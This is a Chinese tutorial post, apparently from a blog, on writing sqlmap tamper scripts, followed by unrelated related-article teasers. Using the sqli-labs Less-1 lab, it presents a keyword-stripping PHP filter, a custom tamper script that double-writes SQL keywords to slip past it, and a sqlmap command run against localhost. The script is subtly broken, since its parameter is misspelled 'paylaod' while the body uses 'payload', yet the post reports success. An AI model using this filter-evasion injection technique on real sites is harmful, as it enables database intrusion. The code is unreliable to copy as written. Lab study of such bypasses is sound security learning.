tamper编写

news2024/12/25 9:29:45

借鉴

 sqlmap之tamper脚本编写_sqlmap tamper编写-CSDN博客

先看一个tamper的例子

栗子

escapequotes.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')

    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """

    return payload.replace("'", "\\'").replace('"', '\\"')

脚本结构为priority变量定义和dependencies、tamper函数定义。

priority定义脚本的优先级,用于有多个tamper脚本的情况。如果你加载多个tamper,谁的优先级高,谁被优先使用。

(优先级共有七个,分别为;LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)

        
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs。返回值为替换后的payload。

这里把引号替换为了\\'。

实践

在sqli_lab1的基础上,我们增加过滤函数

function sqlwaf( $str ) {
	$str = str_ireplace( "and", "", $str );
	$str = str_ireplace( "or", "", $str );
	$str = str_ireplace( "union", "", $str );
	$str = str_ireplace( "select", "", $str );
	$str = str_ireplace( "sleep", "", $str );
	$str = str_ireplace( "group", "", $str );
	$str = str_ireplace( "extractvalue", "", $str );
	$str = str_ireplace( "updatexml", "", $str );
	$str = str_ireplace( "PROCEDURE", "", $str );
	
	return $str;
}

此时我们知道需要用双写来绕过

我们先手动试一下

直接order会报错

双写绕过成功

不加tamper,我们直接尝试一下

不成功        

 下面我们编写tamper(双写绕过)

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(paylaod,**kwargs):
    if payload:
        result = payload.replace("OR","oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")
        return result

 sqlmap.py -u "http://127.0.0.1/sqlI/Less-1/?id=1" --tamper=tamper.py --batch

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1320173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Prometheus全面学习教程

一、Prometheus概述 1、Prometheus介绍 Prometheus 是一个开源的服务监控系统和时序数据库,其提供了通用的数据模型和快捷数据采集、存储和查询接口。它的核心组件Prometheus server会定期从静态配置的监控目标或者基于服务发现自动配置的自标中进行拉取数据&…

【期刊出版征稿】2024年艺术、教育和管理国际学术会议(ICAEM2024)

2024年艺术、教育和管理国际学术会议 2024 International Conference on Arts, Education and Management(ICAEM2024) 2024年艺术、教育和管理国际学术会议(ICAEM2024)将于2024年2月02-04日在马来西亚-吉隆坡召开。会议主题主要…

【TI毫米波雷达】上电时序、串口回环BUG及SOP模式不正常工作的解决方案(LP87524电源PMIC芯片的BUCK供电时序配置)

【TI毫米波雷达】雷达上电时序及SOP模式不正常工作的解决方案(LP87524电源PMIC芯片的BUCK供电时序配置) 文章目录 上电时序上电以后的雷达串口回环问题延迟上电时序LP87524电源PMIC芯片的BUCK供电时序LP87524电源PMIC芯片的BUCK默认供电输出附录&#x…

18.NAT

NAT IP v4 :32bit IP v6: 128bit 一个公网地址支持6000个用户使用上网 运营商只维护公网地址,会将私网地址丢弃 一般部署在路由器或防火墙上面 方法一 NAT配置 使用公网接口地址 在路由器的出口GE_0/0口进行配置 然后PC2…

简洁易懂的Yolov7本地训练自己的数据并onnx推理

YOLOV7 官方代码Yolov7 测试官方案例 1、下载下来先按照github教程下载yolov7.pt权重 2、pycharm(或其他)打开detect文件,修改权重路径和推理图片的路径,分别是 parser.add_argument(--weights, nargs, typestr, defaultyolov…

[LLM]nanoGPT---训练一个写唐诗的GPT

karpathy/nanoGPT: The simplest, fastest repository for training/finetuning medium-sized GPTs. (github.com) 原有模型使用的莎士比亚的戏剧数据集, 如果需要一个写唐诗机器人,需要使用唐诗的文本数据, 一个不错的唐诗,宋词数据的下载…

东南亚Shopee:东南亚领先的电商平台

Shopee是东南亚地区最著名的电商平台之一,成立于2015年。作为新加坡互联网公司Sea Group(原名Garena)的一部分,Shopee在东南亚市场拥有广泛的业务覆盖范围,包括新加坡、马来西亚、泰国、印度尼西亚、越南和菲律宾等国家…

源码编译 METIS 以及 GKlib 在Linux ubuntu上

1. GKlib 构建 $ git clone --recursive gitgithub.com:Kleenelan/GKlib.git $ cd GKlib/ $ make config ccgcc openmpset $ make $ make install源码构建了 GKlib 的 openmp 版本,以便充分使用多核的算力; make config ccgcc openmpset 的效果图&#…

QT-可拖拉绘图工具

QT-可拖拉绘图工具 一、演示效果二、关键程序三、下载链接 一、演示效果 二、关键程序 #include "diagramscene.h" #include "arrow.h"#include <QTextCursor> #include <QGraphicsSceneMouseEvent> #include <QDebug>QPen const Diagr…

Windows本地搭建开源企业管理套件Odoo并实现公网访问

文章目录 前言1. 下载安装Odoo&#xff1a;2. 实现公网访问Odoo本地系统&#xff1a;3. 固定域名访问Odoo本地系统 前言 Odoo是全球流行的开源企业管理套件&#xff0c;是一个一站式全功能ERP及电商平台。 开源性质&#xff1a;Odoo是一个开源的ERP软件&#xff0c;这意味着企…

当OneNote不同步时,你需要做些什么让其恢复在线

OneNote笔记本无法同步的原因有很多。由于OneNote使用OneDrive将笔记本存储在云中,因此可能会出现互联网连接问题,与多人联机处理笔记本时会出现延迟,以及从不同设备处理同一笔记本时会发生延迟。以下是OneNote不同步时的操作。 注意:本文中的说明适用于OneNote for Windo…

什么是工业互联网平台?

1.什么是工业互联网平台&#xff1f; 1.1 工业互联网平台的定义 工业互联网平台是一个连接设备与服务、数据与人的跨行业、跨领域的全新工业平台。工业互联网平台利用了互联网、物联网、大数据、AI等技术&#xff0c;集成各类工业设备&#xff0c;不断采集和分析数据&#xff…

百度地图添加坐标点,并返回坐标信息

1、创建地图容器 在mounted中初始化地图、鼠标绘制工具和添加鼠标监听事件 vue data中添加地图和绘制工具对象 2、添加初始化化地图方法 initMap(longitude, latitude) {let that thisthat.map new BMapGL.Map("container");// 创建地图实例if (longitude null ||…

功放诊断测试

1.切换trace显示时间模式&#xff0c;Toggle time mode 2.测seedkey 需要加载seednkey.dll 3.功能寻址和物理寻址切换

idea恢复默认出厂设置

idea恢复默认出厂设置 1、IDEA 2021 之后&#xff0c; 在顶部工具栏&#xff0c;选择 File | Manage IDE Settings | Restore Default Settings. 2、或者双击shift搜索Restore Default settings然后点击restore and restart

MySQL安装——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务2:离线数据处理

MySQLhttps://www.mysql.com/ 将下发的ds_db01.sql数据库文件放置mysql中 12、编写Scala代码&#xff0c;使用Spark将MySQL的ds_db01库中表user_info的全量数据抽取到Hive的ods库中表user_info。字段名称、类型不变&#xff0c;同时添加静态分区&#xff0c;分区字段为etl_da…

ubuntu18.04 64 位安装笔记——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务2:离线数据处理

进入VirtuakBox官网&#xff0c;网址链接&#xff1a;Oracle VM VirtualBoxhttps://www.virtualbox.org/ 网页连接&#xff1a;Ubuntu Virtual Machine Images for VirtualBox and VMwarehttps://www.osboxes.org/ubuntu/ 将下发的ds_db01.sql数据库文件放置mysql中 12、编写S…

代码随想录算法训练营Day5 | 242.有效的字母异位词、349.两个数组的交集、202.快乐数、1. 两数之和

LeetCode 242 有效的字母异位词 本题思路&#xff1a;我们只需要分别统计&#xff0c;字符串 s ,字符串 t 中每个字符的出现次数&#xff0c;分别用两个数组来存储&#xff0c;然后再循环遍历对比两个数组中相同位置出现的次数&#xff0c;如果有不同的则返回 false。 统计完之…

双非大数据

双非本秋招上岸总结 个人简介 学历&#xff1a;双非&#xff1b; 专业&#xff1a;软件工程&#xff1b; 求职岗位&#xff1a;大数据开发工程师&#xff1b; 状态&#xff1a;已上岸 翻车经历 学校以Java后端开发为主流&#xff0c;我从大二开始学习Java&#xff0c;直到大四…

HarmonyOS(十四)——状态管理之@State装饰器(组件内状态)

前言 在初识状态管理我们了解了状态管理的基本概念&#xff0c;以及管理组件拥有的状态有哪几种装饰器&#xff0c;今天我们就来认识一下第一种装饰器&#xff1a;State装饰器&#xff08;组件内状态&#xff09;。 概述 State装饰的变量&#xff0c;或称为状态变量&#xf…